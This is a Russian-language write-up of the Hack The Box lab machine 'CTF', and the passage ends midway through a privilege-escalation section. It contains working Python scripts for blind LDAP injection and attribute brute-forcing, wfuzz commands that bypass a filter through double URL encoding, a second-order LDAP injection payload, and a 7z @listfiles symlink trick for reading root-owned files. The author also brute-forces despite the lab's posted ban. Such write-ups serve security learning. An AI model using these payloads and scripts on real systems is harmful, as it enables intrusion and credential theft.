HTB{ CTF }
CTF — просто идеальная машина для составления райтапа: она достаточна прямолинейна, здесь ты не встретишь множества развилок на пути, ведущих в никуда, от которых становится неинтересным следить за ходом повестования, а мне не придется лишний раз выкручиваться, чтобы придумать, какими словами лучше описать свой ход мыслей при ее прохождении для сохранения интриги. В то же время, эта виртуалка весьма сложна, что в совокупности со своей прямолинейностью делает ее максимально интересной для взлома тестирования на проникновение. По мере продвижения к победному флагу нам предстоит: поиграть с stoken — софтверным решением для Linux для генерации одноразовых паролей (RSA SecurID токенов); разобраться с множественными типами LDAP-инъекций (Blind, Second Order); написать несколько скриптов на Python для брута LDAP-каталога; злоупотребить функционалом архиватора 7z, в частности его опцией @listfiles, для чтения файлов с правами суперпользователя.
Разведка
Nmap
«Новая машина — новое сканирование портов. Ни дня без Nmap!», — вполне годится на роль жизненного креда пентестера.
Как обычно, разделим этот процесс на две части. Сперва вежливо осмотримся на предлагаемой к захвату территории с помощью обычного SYN-сканирования без излишеств.
root@kali:~# nmap -n -v -Pn -oA nmap/initial 10.10.10.122
root@kali:~# cat nmap/initial.nmap
# Nmap 7.70 scan initiated Sun Jul 28 15:02:31 2019 as: nmap -n -v -Pn -oA nmap/initial 10.10.10.122
Nmap scan report for 10.10.10.122
Host is up (0.077s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Read data files from: /usr/bin/../share/nmap
# Nmap done at Sun Jul 28 15:02:41 2019 -- 1 IP address (1 host up) scanned in 10.17 seconds
К слову, опция -n
даст понять Nmap, что мы не хотим, чтобы он пытался резолвить имя хоста в IP-адрес (так как мы уже указываем хост через его IP, а не через доменное имя), опция -v
немного расширит получаемый от сканера фидбек (степень детализации фидбека можно наращивать, соединяя флаги -v
вплоть до -vvv
), а опция -Pn
убедит Nmap в том, что нет необходимости проверять (с помощью ICMP-запроса), что хост «жив», перед началом самого сканирования, так как мы наверняка знаем, что машина сейчас в онлайне.
Также не забудь указать путь для сохранения отчетов сканирования во всех форматах через -oA
на случай, если придется писать отчет об успешно проведенном тестировании на проникновение, ведь ты же на стороне благородных white hat’ов, я надеюсь?
Теперь можно чуть-чуть пошуметь, запросив более подробную информацию о запущенных сервиса на открытых портах и подключив к работе скриптовый движок NSE.
root@kali:~# nmap -n -v -Pn -sV -sC -oA nmap/version 10.10.10.122 -p22,80
root@kali:~# cat nmap/version.nmap
# Nmap 7.70 scan initiated Sun Jul 28 15:34:37 2019 as: nmap -n -v -Pn -sV -sC -oA nmap/version -p22,80 10.10.10.122
Nmap scan report for 10.10.10.122
Host is up (0.073s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 fd:ad:f7:cb:dc:42:1e:43:7d:b3:d5:8b:ce:63:b9:0e (RSA)
| 256 3d:ef:34:5c:e5:17:5e:06:d7:a4:c8:86:ca:e2:df:fb (ECDSA)
|_ 256 4c:46:e2:16:8a:14:f6:f0:aa:39:6c:97:46:db:b4:40 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
| http-methods:
| Supported Methods: POST OPTIONS GET HEAD TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
|_http-title: CTF
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul 28 15:34:46 2019 -- 1 IP address (1 host up) scanned in 9.27 seconds
Итак, что же нам доступно.
- Демон веб-сервера Apache без зазрения совести «сливает» нам дистрибутив ОС — мы имеем дело с CentOS. Когда слышишь “CentOS”, вот какой ассоциативный ряд должен зарождаться в твоем разуме: CentOS — свободный Linux-дистрибутив, основанный на коммерческом Red Hat Enterprise Linux (RHEL); платные версии программных продуктов документируются гораздо более добросовестно, нежели чем бесплантные; раз CentOS — это бесплатная версия RHEL, следовательно, зная версию платного RHEL (которую мы найдем быстрее в силу подробной документации), мы также будем знать и версию CentOS, с которой работаем в данный момент. С первой ссылки поисковика по запросу «httpd versions red hat» видим, что
httpd 2.4.6
встроена в RHEL 7, что дает нам знание о том, что это CentOS 7. - Открыто всего два порта: 22-й — SSH, и 80-й — веб-сервер Apache. Очевидно, что начинать исследование будем с веба.
Web — порт 80
В этой главе уделим внимание тому, что происходит на веб-сервере атакуемой машины, и чем мы здесь сможем разжиться.
Браузер
Перейдя по адресу http://10.10.10.122:80
, ты увидишь объявление следующего характера.
Вольный перевод того, что здесь сказано, от автора статьи:
В рамках жизненного цикла разработки нашей системы (SDLC) нам необходимо опробировать предложенную технологию аутентфикации, основанную на программных токенах, с помощью пентеста.
Залогинься, чтобы провести свои тесты.
Данный сервер защищен от некоторых видов атак, например, от атаки методом «грубой силы». Поэтому если ты попытаешься забрутфорсить некоторые из доступных сервисов, ты можешь быть забанен на 5 минут.
Если приложение тебя забанит, это будет полностью твоя вина, поэтому не перезапускай машину, не портя тем самым жизни других исследователей, но проведи время бана с пользой, размышляя о других векторах входа в систему.
Список забаненных IP-адресов можно найти [здесь]. У тебя может не получится загрузить этот список, пока ты находишься в бане.
На http://10.10.10.122:80/login.php
тебе как раз ожидает та форма авторизации, которую нельзя брутить, если верить объявлению с главной.
Исходный код этой страницы содежит интересный комментарий, который немного проливает свет на детали используемой технологии аутентфикации.
<!-- we'll change the schema in the next phase of the project (if and only if we will pass the VA/PT) -->
<!-- at the moment we have choosen an already existing attribute in order to store the token string (81 digits) -->
Во-первых, речь идет о каком-то «атрибуте», который содержит токен (об этом чуть позже). Во-вторых, тот самый токен, как заверяет нас комментарий в сорцах, представляет из себя строку длиной 81 символ (цифры). Вопросив поисковик о том, какой бывает софт для генерации одноразовых паролей под Linux, я нашел stoken.
stoken
stoken — программный токен для Linux, который генерирует одноразовые пароли, совместимые с маркерами RSA SecurID 128-бит (AES). Маркеры SecurID обычно используются для аутентификации конечных пользователей для защищенных сетевых ресурсов и VPN, поскольку OTP обеспечивают большую устойчивость ко многим атакам, связанным со статическими паролями.
После того, как я нашел совпадение из поиска по содержимому гитхабовского README по ключевому слову ctf
, моя уверенность в том, что я на верном пути, не переставала возрастать.
Следующим шагом я решил найти упоминание о тех 81-й цифрах, о которых идет речь в HTML-коде страницы с авторизацией. Это упоминание было найдено также на первой ссылке результатов поиска по запросу stoken 81 digits
, которая (ссылка) оказалась man-страничкой stoken.
Здесь плюс ко всему прочему мы в первый раз и узнаем о том, что скрывается за аббревиатурой CTF — это Compressed Token Format (и никакой тебе не Capture The Flag, как я и обещал).
Веб-форма авторизации
Вернувшись к форме логина и попробовав авторизироваться как admin:0000
, я увидел такое сообщение об ошибке.
После чего, попробовав элементарную SQL-инъекцию, используя в качестве имени пользователя строку ' or 1=1 -- -
, я не получил вообще никакой ответной реакции от веб-сайта, что навело меня на мысль о том, что на бэкенде с высокой долей вероятности либо существует некий черный список, содержащий определенные символы, которые форма не желает видеть в принципе. Скорее всего, это некий список управляющих спец. символов, которые используются в синтаксисе выражений, которые возвращают выборку из БД по пользовательскому запросу.
На данный момент передо мной стояло две основные задачи: определить содержимое этого списка (чем бы он в конечном итоге не оказался) и получить имя пользователя, числящегося в базе данных сайта. Начнем.
Перебор вариантов
Да, я знаю, что нам запретили брутить, но ведь, если очень хочется, то можно? К тому же у меня не было никакого желания вручную перебирать все специальные символы из блеклиста, за которым я охотился. Если не наглеть и использовать небольшие словари для перебора, то можно постараться не попасться. А, как известно, — «не пойман — не вор»…
Будем использовать мой любимый репозиторий, содержащий словари для брутфорса на любой вкус — SecLists: найдем словари, содежащие специальные символы, передадим с помощью xargs
результаты поиска утилите wc
с флагом -c
для подсчета символов в каждом найденном словаре (он оказался один) и взглянем на содержимое.
64 символа. Не критично, поэтому расчехляем веб-фаззер wfuzz — будем брутить.
Проанализировав структуру веб-формы, которую будем ломать (с помощью Burp, к примеру), составим запрос для wfuzz.
root@kali:~# wfuzz -w special-chars.txt --hw 233 -d 'inputUsername=FUZZ&inputOTP=0000' 10.10.10.122/login.php
- Опция
-w
задаст путь до словаря, по которому нужно пройти. - Опция
--hw
(от hide words) скроет все ответы сервера, которые вернули 233 слова. Почему именно 233? Именно столько слов появляется на веб-странице, которая возвращается пользователю в случае, когда он получает сообщение об ошибкеUser <USER> not found
(см. скриншот ранее): 229 слов изначально, плюс 4 слова, составляющие ошибку. Такие ответы нас не интересуют, потому что мы ловим только случаи, когда этой строки в ответе не появляется, т. е. когда что-то из содержимого поля юзернейма содержится в блеклисте. - Опция
-d
определяет вид запроса, уходящий к серверу. На место заглушкиFUZZ
wfuzz подставляет слово из выбранного словаря (построчно). В данной ситуации мы фаззим полеinputUsername
, отвечающее за имя пользователя, а доinputOTP
нам пока дела нет, поэтому я поставил первое, что пришло в голову —0000
.
В графе Payload мы получили список всех специальных символов, на которые форма авторизации отреагировала странно, а именно не так, как если бы пользователей с такими именами не было в базе данных: сервер просто проигнорировал запросы с этими символами в поле Username. Интересно заметить, что на символы &
и +
вообще третья реакция: форма пропускает эти символы, но почему-то не считает их за слова (и в дополнении к этому количество символов отличается). Что ж, не видя настроенного фильтра, вряд ли можно точно быть уверенным, что здесь происходит. Будем считать, что это не баг, а фича, да и «в машине всегда были призраки, случайные сегменты кода, которые, скомпоновавшись вместе, образуют непредвиденные протоколы…».
После этого я еще немного поиграл с веб-формой на самом сайте и доигрался до следующего: если передавать «запрещенные» символы, дополнительно их закодировав, то хост отвечает ошибкой как и при нормальном запросе, не содержащем спец. символы в имени пользователя.
Объясню на примере: при попытке залогиниться с кредами *:0000
веб-форма просто перезагружалась и игнорировала запрос (срабатывает блеклист), а при попытке залогиниться с кредами %2a:0000
веб-форма вдруг вернула ошибку входа. Даже не то, что такого пользователя не существует, а просто, что логин не удался.
Здесь-то все в миг и прояснилось.
- Форма однозначно уязвима к какому-то типу инъекции, т. к. изменилось поведение сайта, когда я сумел «протащить» символ
*
в поле, предназначенное для имени пользователя. К какому именно типу нам предстоит выяснить далее, но судя по символам в блеклисте и комментарию в исходном коде страницы, уже сейчас можно сделать предположение. - Обойти блеклист нам позволит не что иное, как Double URL Encoding.
Double URL Encoding
Когда ты отправляешь данные через веб-формы, с вероятностью 99,9 % они предварительно оборачиваются в URL-кодирование (еще его называют Percent-encoding). Если без подробностей, то для спец. символов, о которых мы говорили ранее, процесс очень прост: в начале идет управляющий символ — символ процента %
— а за ним следует ASCII-код кодируемого символа. К примеру, символ астериск *
будет закодирован как %2a
, т. к. он имеет hex-код 2A
в таблице ASCII.
Самая интересная часть заключается в том, что когда я отправляю *
в юзернейме через эту форму, то он URL-кодируется сервером по умолчанию. Отправляя же уже закодированную вручную версию «звездочки» (%2a
) он будет закодирован формой повторно, т. е. получится %252a
, потому что сам символ %
имеет ASCII-код 25
в шестнадцатиричном виде. Где-то после проверки условия вхождения данной последовательности в черный список (которая с треском проваливается), сервер дважды успешно декодирует наш астериск, и мы получаем нужный ответ. Поэтому в этой ситуации нас спасла схема двойного URL-кодирования, к которой оказался уязвим механизм фильтрации запрещенных символов.
Теперь посмотрим, что еще пропустит блеклист после двойного URL-кодирования. wfuzz умеет кодировать полезную нагрузку флагом -z
. В его арсенале есть разные кодировщики, список всех доступных можно просмотреть командой wfuzz -e encoders
. Чтобы использовать wfuzz с двойным URL-кодированием каждого символа из файла, можно было бы воспользоваться следующей командой.
root@kali:~# wfuzz -z file,special-chars.txt,uri_double_hex --hw 233 -d 'inputUsername=FUZZ&inputOTP=0000' 10.10.10.122/login.php
Однако не ко всем символам кодировщик был применен корректно (может, в следующих сборках будет фикс), поэтому я решил воспользоваться более прямолинейным методом — словарем doble-uri-hex.txt
из того же набора SecLists. Красным я добавил пояснение к полезной нагрузке: сначала то, что представляет из себя символ в обычном URL-кодировании, затем его представление в человеческом виде.
В итоге видим, что форма странно реагирует на 4 печатаемых символа, плюс нулевой байт: )
, (
, *
, /
. Здесь я практически стал уверен, что имею дело с LDAP-инъекцией.
LDAP-инъекция
LDAP — легковесный протокол прикладного уровня, предназначенный для доступа к службе каталогов. Под «службой каталогов» может подразумеваться как X.500 (как задумывалось изначально), так и любая другая иерархическая система управления базами данных (СУБД). Буква D в аббревиатуре означает Directory — так сложилось исторически. Если ты мало знаком с этим протоколом, то можешь смело заменять в уме Directory на Data: смысл не изменится, но поводов запутаться станет на один меньше.
LDAP-инъекции не сильно отличаются от тех же SQLi — методологии эксплуатации в чем-то схожи. Первым делом было бы неплохо определить примерную структуру узявимого запроса, в поведение которого ты собираешься бестактно вмешаться. Для этих целей можно воспользоваться символом закрывающейся скобки )
и нулевым байтом %00
, благо оба символа есть в нашем арсенале.
Для того, чтобы понять, что конкретно будет происходить, необходимо иметь представление об общем виде LDAP-запроса. Выглядеть он может, к примеру, следующим образом.
(&
(key1=value1)
(key2=value2)
(key3=value3)
)
Амперсанд здесь, очевидно, выполняет роль логического «И», связывающего три утвержения в скобках. Так вот, допустим, что значение первого ключа (value1
) подконтрольно пользователю при вводе. Тогда, если вместо value1
мы отправим две закрывающиеся скобки и нулевой байт, который «срежет» оставшуюся часть запроса (аналог символа комментария --
для SQLi), то мы сможем определить, уязвим ли данный LDAP-запрос для вмешательства. В нашем случае, если сервер спокойно съест измененный запрос и вернет ошибку, указывающую на то, что такого пользователя не существует — ты сорвал джекпот и нашел валидное поле для инъекции, если ответом будет тишина — значит, неудача.
Для облегчения жизни я составил небольшой Python-скрипт (чтобы не мучиться с x2 кодированием в Burp), который дважды оборачивает запрос в URL-кодировку, по необходимости добавляет нулевой байт и посылает серверу POST-запрос со всем этим безобразием в поле Username. Значение для поля OTP статично и случайно — сейчас оно не играет роли.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Использование: python3 inject.py <ИНЪЕКЦИЯ> <НУЛЕВОЙ_БАЙТ>
import sys
import re
from urllib.parse import quote_plus
import requests
# Куда стучимся
URL = 'http://10.10.10.122/login.php'
# Инъекция, закодированная в URL Encoding один раз (из первого аргумента скрипта)
inject = quote_plus(sys.argv[1])
# Нулевой байт, подаваемый по необходимости (из второго аргумента скрипта)
null_byte = sys.argv[2]
# Данные для POST-запроса (библиотека requests закодирует значения повторно => получится Double URL Encoding)
data = {
'inputUsername': inject + null_byte,
'inputOTP': '31337'
}
# Отправляем запрос
resp = requests.post(URL, data=data)
# Регулярками вытаскиваем ответ сервера
match = re.search(r'<div class="col-sm-10">(.*?)</div>', resp.text, re.DOTALL)
# И выводим его на экран
print(match.group(1).strip())
Теперь нам предстоит найти количество скобок, необходимое для того, чтобы измененный LDAP-запрос оказался «правильным». Начнем с одной, добавляя в конце нулевой символ для отбрасывания оставшийся части оригинального запроса. Потом попробуем две, затем — три.
На трех скобках сервер сообщил, что не знает такого пользователя, поэтому делаем вывод, что, на самом деле, структура оригинального LDAP-запрос имеет примерно такой вид.
(&
(&
(key1=value1)
(key2=value2)
(key3=value3)
)
(&
(key4=value4)
...
)
...
)
Отлично! Мы выяснили, что форма /login.php
уязвима к LDAP-инъекции и сделали предположение о структуре LDAP-запроса. Используем это для стилинга авторизационных данных.
Дампим юзернейм
Чтобы вытащить из базы имя пользователя, будем пользоваться символом *
, который успешно обрабатывыается сервером. Сделаем предположение, что юзернейм начинается, например, с буквы «a», тогда поведение формы при обработке запроса вида a*
позволит определить, верно ли наше предположение. Так как мы можем судить о корректности наших суждений только по возвращаемым сообщениям об ошибках, то на лицо классическая инъекция «вслепую» или Blind LDAP-инъекция.
Модифицировав немного свой скрипт, я прохожу по всем буквам латинского алфавита, отправляю серверу запросы вида <БУКВА>*
и смотрю на ответ: если ошибка звучит, как User <БУКВА>* not found
, значит пользователя, имя которого начинается с буквы <БУКВА>
, не существует, а если в ответ приходит Cannot login
, значит с именем мы угадали (но, естественно, ошиблись в поле OTP
, что сейчас неважно).
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Использование: python3 inject.py
import re
from string import ascii_lowercase
from urllib.parse import quote_plus
import requests
URL = 'http://10.10.10.122/login.php'
for c in ascii_lowercase:
inject = c + quote_plus('*')
data = {
'inputUsername': inject,
'inputOTP': '31337'
}
resp = requests.post(URL, data=data)
match = re.search(r'<div class="col-sm-10">(.*?)</div>', resp.text, re.DOTALL)
print(f'{c}* => {match.group(1).strip() == "Cannot login"}')
По отлову ошибок второго типа я могу сдампить имя пользователя целиком. Для этого я снова немного изменю скрипт, чтобы не запускать его 100500 раз для каждой следующей верной буквы.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Использование: python3 inject.py
import re
import time
from string import ascii_lowercase
from urllib.parse import quote_plus
import requests
URL = 'http://10.10.10.122/login.php'
username, done = '', False
print()
while not done:
for c in ascii_lowercase:
inject = username + c + quote_plus('*')
data = {
'inputUsername': inject,
'inputOTP': '31337'
}
resp = requests.post(URL, data=data)
match = re.search(r'<div class="col-sm-10">(.*?)</div>', resp.text, re.DOTALL)
if match.group(1).strip() == 'Cannot login':
username += c
break
print(f'[*] Username: {username}{c}', end='\r') # sys.stdout.write(f'\r{username}{c}')
time.sleep(0.2)
else:
done = True
print(f'[+] Username: {username} \n')
Есть имя пользователя! ldapuser — кто бы мог подумать… Таким же способом предлагаю сбрутить и другие атрибуты LDAP.
Дампим остальные атрибуты
Теперь пришло время сказать пару слов о том, что представляет из себя «атрибут» в терминологии LDAP. Если придерживаться строгих определений, то атрибут — это то, что содержит в себе объектный класс LDAP. Последний является кирпичиком, из которых строятся записи базы данных. Другими словами, атрибутом можно назвать те самые ключи из пар «ключ-значение» (key1=value1
, …) из примера выше.
Мы уже видели подсказку в комментарии исходника HTML-страницы /login.php
касательно некого «существующего атрибута», который содержит строку с токеном из 81-й цифры. Что ж настало время выяснить, какие атрибуты существуют в имеющемся у нас каталоге LDAP. Для этого я буду использовать wfuzz с пейлоадом такого вида.
root@kali:~# wfuzz -w attributes.lst --hw 233 -d 'inputUsername=ldapuser%2529%2528FUZZ%253d%252a%2529%2529%2529%2500&inputOTP=0000' 10.10.10.122/login.php
Разберем подробнее. Во-первых, откуда был взят словарь attributes.lst
? Я составил его из списка наиболее часто используемых атрибутов LDAP, помня о том, что в подсказке было уточнение относительно уже существующего атрибута. Значит, они не придумывали ничего своего.
Пейлоад ldapuser%2529%2528FUZZ%253d%252a%2529%2529%2529%2500
— это ничто иное как ldapuser)(FUZZ=*)))%2500
, где FUZZ
— это очередной атрибут из составленного мной списка. То есть, я беру, к примеру, атрибут mail и проверяю, что будет содержать ответ на запрос, содержащий пейлоад ldapuser)(mail=*)))%2500
. Если атрибут существует, то я получу сообщение об ошибке Cannot login
, так как остальная часть LDAP-запроса корректна. Если атрибута не существует — не получу в ответ ничего, так как запрос попросту окажется неправильным.
Итак, шесть атрибутов из нашего словаря существуют в каталоге. Где было бы логичнее всего хранить 81 цифру для токена CTF? Скорее всего, это будет значение атрибута pager — ведь 2019-й год на дворе, кто-то еще пользуется пейджерами? Я вот их даже не застал… Ну да ладно, все равно мы ради интереса сбрутим все присутствующие атрибуты.
Переименовав скрипт на Python в brute.py (что надо было сделать еще при предыдущей его модификации), я в очередной раз его немного видоизменю и сдамплю все существующие атрибуты по списку.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Использование: python3 brute.py
import re
import time
from datetime import timedelta
from string import ascii_lowercase, digits
from urllib.parse import quote_plus
import requests
URL = 'http://10.10.10.122/login.php'
ATTRIBUTES = [
'mail',
'cn',
'uid',
'userPassword',
'sn',
'pager'
]
timestart = time.time()
print()
for a in ATTRIBUTES:
attr, done = '', False
while not done:
if a == 'pager':
charset = digits
else:
charset = ascii_lowercase + digits + '_-@.'
for c in charset:
# Инъекция вида "ldapuser)(<ATTRIBUTE>=*)))%00"
inject = f'ldapuser{quote_plus(")(")}{a}{quote_plus("=")}{attr}{c}{quote_plus("*)))")}'
data = {
'inputUsername': inject + '%00',
'inputOTP': '31337'
}
resp = requests.post(URL, data=data)
match = re.search(r'<div class="col-sm-10">(.*?)</div>', resp.text, re.DOTALL)
if match.group(1).strip() == 'Cannot login':
attr += c
break
print(f'[*] {a}: {attr}{c}', end='\r')
time.sleep(1)
else:
done = True
print(f'[+] {a}: {attr} ')
print(f'\n[*] Затрачено: {timedelta(seconds=time.time() - timestart)}')
Не забывая предостережение о возможном бане, заботливо оставленное на главной странице сервиса, я добавил задержку на 1 секунду после отправки очередного запроса, чтобы минимизировать риски нарваться на таймаут. В итоге скрипту понадобилось 20 минут на перебор шести значений атрибутов (с учетом того, что userPassword оказался пустым).
Кстати, имя пользователя, которое мы брутили в предыдущем параграфе, это так же, как все другие данные в мире LDAP, всего лишь значение очередного атрибута — атрибута uid. А вот за значением атрибута pager скрывается как раз то, зачем мы охотились — это инициализатор (seed) генератора одноразовых паролей stoken.
Одноразовые пароли (OTP)
Установим stoken, чтобы было чем, собственно, генерировать OTP.
Заглянув в мануал, смотрим, как лучше всего его юзать в нашем случае.
root@kali:~# stoken --token=285449490011357156531651545652335570713167411445727140604172141456711102716717000 --pin=0000
В параметре --token
я передаю сид, обнаруженный ранее, а с помощью --pin
я задаю дефолтный PIN, чтобы софтина не спрашивала у меня его в интерактивном режиме. PIN — это локальная защита stoken, препятствующая получению OTP кем попало, кто проходил мимо компьютера, но так как у меня PIN не установлен, я передаю его значение по умолчанию 0000.
Далее следует учесть еще один важный момент: из-за того, что все алгоритмы генерации одноразовых паролей опираются на время, установленное на хосте, как на механизм синхронизации срока валидности OTP, то тебе нужно будет узнать что показывают часы на сервере. Сделать это можно с помощью curl.
root@kali:~# curl -sv --stderr - 10.10.10.122 | grep Date
Так как инстансы виртуалок на Hack The Box не имеют выхода в сеть, они не могут использовать протокол сетевого времени для синхронизации часов, поэтому для тебя время может отличаться от того, что показывает сейчас сервер CTF. Нужно сказать, что разница часовых поясов здесть роли не играет, потому что stoken использует POSIX-время (или Unix time) для генерации нового OTP.
Есть два варианта решения этой проблемы: первый — это отключить синхронизацию времени у себя на машине, второй — это воспользоваться опцией stoken --use-time
для задания смещения часов между собой и сервером, где ты собрался аутентифицироваться. Так как я использую VirtualBox для запуска Kali, то я боюсь лишний раз вмешиваться в систему синхронизации времени после того, как однажды ее настроил (к слову, в VMware это делается проще, ибо там есть отдельная галочка для настройки времени в конфиге самой ВМ, а вот в VBox черт ногу сломит, если ты решил пользоваться внешними серверами NTP, а не офлайн-синхронизацией посредством хостовой ОС). Поэтому я выбрал второй вариант и решил написать небольшой скрипт, чтобы вычислять offset автоматически и передавать его stoken. Чтобы убить двух зайцев одновременно, я также добавлю немного жизни в свой скрипт, обновляя одноразовый пароль каждую секунду и выводя его в терминал в бесконечном цикле.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Использование: python3 otp.py
import time
from datetime import datetime
from subprocess import check_output
import requests
URL = 'http://10.10.10.122'
while True:
kali = datetime.utcnow()
server = datetime.strptime(requests.head(URL).headers['Date'], '%a, %d %b %Y %X %Z')
offset = int((server - kali).total_seconds())
cmd = [
'stoken',
'--token=285449490011357156531651545652335570713167411445727140604172141456711102716717000',
'--pin=0000',
f'--use-time={"%+d" % offset}'
]
print(check_output(cmd).decode().strip(), end='\r')
time.sleep(1)
Теперь в нашем распоряжении всегда находится свежий одноразовый пароль для доступа к защищенному содержимому веб-ресурса. Посмотрим же наконец, что скрывается за формой /login.php
.
LDAP-инъекция второго порядка
После авторизации в веб-приложении как ldapuser с помощью OTP, сгенерированным скриптом выше, тебя перебросит на страницу http://10.10.10.122/page.php
, и ты увидишь интерфейс для выполнения команд на удаленном сервере.
Однако вот, что ты увидишь, попытавшись выполнить какую-либо команду (я ввел ls -la
в поле Cmd).
Пользователь должен быть членом группы root или adm и иметь валидный токен, чтобы выполнять команды на этом сервере.
Столько стараний, чтобы в конечном итоге увидеть ЭТО?! Ну уж нет, давай разибраться.
Предположим, что имеет место следующий механизм проверки того, входит ли пользователь в вышеупомянутые группы или нет: существует еще один LDAP-запрос, выполняемый на /page.php
, который берет логин, введенный нами ранее при авторизации на /login.php
, и подставляет его в LDAP-структуру такого вида (в эпилоге, к слову, мы проверим все наши предположения относительно вида запросов LDAP).
(&
(&
(uid=$USERNAME)
...
)
(|
(group=root)
(group=adm)
)
...
)
Где USERNAME
— это то имя пользователя, которое мы вводили на /login.php
. Такая логика имеет право на жизнь, потому что я не видел ни одного места, где бы явно передавался юзернейм при отправке запроса на выполнение команды на /page.php
. Следовательно, на этот момент (когда пользователь авторизован) юзернейм уже известен серверу. Исходя из таких рассуждений, можно сделать вывод, что перед нами LDAP-инъекция второго порядка (по аналогии с Second Order SQLi), когда вредоносный запрос не исполняется непосредственно сейчас, но сохраняется в памяти сервера и будет исполнен при иных обстоятельствах в дальнейшем.
Тогда, чтобы обойти ограничение на факт вхождения в группы root и adm, нужно всего лишь отсечь «хвост» запроса, который выполняет соотвествующую проверку. Сделать это можно с помощью уже знакомого тебе нулевого байта %00
: если переменная USERNAME
будет содержать пейлоад вида ldapuser)))%00
, то нежелаемое условие (|(group=root)(group=adm))
«отвалится» и больше не будет препятствовать выполнению команд. Сделаем же это. Перелогинившись с кредами ldapuser)))%00
, или ldapuser%29%29%29%00
под URL-кодировкой, я могу успешно триггерить удаленное выполнение команд.
Reverse Shell
От RCE до шелла рукой подать, поэтому не откладывая в долгий ящик получим сессию. Хардкор-версия взаимодействия с сервером — написать скрипт, который будет общаться с этой веб-формой и парсить результат выполнения команд из HTML-кода. Это я покажу в эпилоге, а пока более читерский вариант.
Я буду использовать стандартный реверс-шелл от PayloadsAllTheThings на Bash по TCP через 443-й порт SSL, потому что на нем редко блокируется исходящий трафик.
По характерному зависанию странички видим, что команда выполнена успешна, и я получаю сессию.
К сожалению, у меня не получилось апгрейдить шелл до полноценного PTY с помощью питоновского pty.spawn
: не уверен до конца, что послужило тому причиной, полагаю, что таковы настройки системы в смысле ограничения максимально возможного количества используемых PTY-девайсов (из соображений безопасности в том числе).
Далее, посмотрев исходники page.php
, я обнаружил пароль юзера ldapuser в хардкоде.
А это значит, что в нашем распоряжении теперь еще одна сессия — от имени пользователя ldapuser.
SSH — порт 22
Коннектимся к машине по SSH, потому что так будет приятнее осматриваться внутри, и практически сразу замечаем нестандартную директорию /backup
в корне файловой системы.
Внутри находим тучу архивов с бэкапами, лог ошибок и интересный скрипт honeypod.sh
.
Важное наблюдение, которое пригодится нам в будующем: архивы с бэкапами создаются каждую минуту.
На этом этапе, кстати, мы уже можем честно забрать первый флаг.
[ldapuser@ctf ~]$ cat user.txt
74a8e86f????????????????????????
honeypod.sh
# honeypod.sh
# get banned ips from fail2ban jails and update banned.txt
# banned ips directily via firewalld permanet rules are **not** included in the list (they get kicked for only 10 seconds)
/usr/sbin/ipset list | grep fail2ban -A 7 | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | sort -u > /var/www/html/banned.txt
# awk '$1=$1' ORS='<br>' /var/www/html/banned.txt > /var/www/html/testfile.tmp && mv /var/www/html/testfile.tmp /var/www/html/banned.txt
# some vars in order to be sure that backups are protected
now=$(date +"%s")
filename="backup.$now"
pass=$(openssl passwd -1 -salt 0xEA31 -in /root/root.txt | md5sum | awk '{print $1}')
# keep only last 10 backups
cd /backup
ls -1t *.zip | tail -n +11 | xargs rm -f
# get the files from the honeypot and backup 'em all
cd /var/www/html/uploads
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
# cleaup the honeypot
rm -rf -- *
# comment the next line to get errors for debugging
truncate -s 0 /backup/error.log
Здесь все достаточно просто. В первой значащей строке скрипт обновляет информацию о забаненных после попыток брутфорса IP-адресах, а далее создает 11 архивов .7z, запароленных с помощью флага суперпользователя. Нас будет интересовать 19-я строка, а именно сама команда архивирования бэкапов.
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
Здесь с помощью опции -t7z
задается формат будующих архивов, опция -snl
говорит утилите, чтобы та не резолвила символические ссылки, а так и оставляла их ссылками при добавлении файлов в архив, -p$pass
устанавливает пароль шифрования, а вот, то, что идет дальше, позволяет нам прочитать любой файл от имени root… Дело в следующем: последовательность -- *
используется для того, чтобы передать скрипту список всех имен файлов, находящихся в текущей рабочей директории (в нашем случае это /var/www/html/uploads
, так как именно туда мы переходим одной командой раньше). Только вот проблема в том, что у архиватора 7z есть параметр @listfiles
, который позволяет указать список файлов, которые нужно положить в архив.
Как это работает на примере: если я выполню команду вида 7za a test.zip @files.lst
, где files.lst — это текстовый файл, содержащий список файлов, которые нужно запаковать, то 7z послушно создаст архив test.zip, содержащий все файлы из построчного списка files.lst. Удобно, не правда ли? А теперь представим ситуацию, в которой я создаю в директории /var/www/html/uploads
два файла: @F4CK7z
и F4CK7z
. Первый я оставлю пустым, а второй сделаю символической ссылкой на файл, который бы я хотел прочитать от имени суперпользователя, скажем, это будет финальный флаг /root/root.txt
. При таком раскладе 7z, не подозревая западни, заберет оба этих файла для «архивирования», и команда, которая будет выполнена архиватором будет иметь такой вид.
7za a /backup/$filename.zip -t7z -snl -p$pass @F4CK7z F4CK7z
Из-за того, что указана опция @F4CK7z
, 7z попытается прочитать содержимое файла F4CK7z, который лежит в этой же директориии и является ссылкой на /root/root.txt
, а так как скрипт honeypod.sh выполняется от имени root, то у 7z получится открыть любой файл. Грубо говоря, команда выше превратится в нечто подобное.
7za a /backup/$filename.zip -t7z -snl -p$pass <флаг_суперпользователя> F4CK7z
Не найдя файла с именем «флаг_суперпользователя», который, как кажется 7z, нужно положить в архив, он вежливо сообщит о случившейся ошибке в логе error.log
, который мы можем читать.
Эксплуатация 7z
Так как доступ к директории /var/www/html/uploads
есть у пользователя apache, но нет у ldapuser (из-под которого мы сидим в SSH), то нам пригодится тот неудобный шелл, который мы получили в предыдущем параграфе.
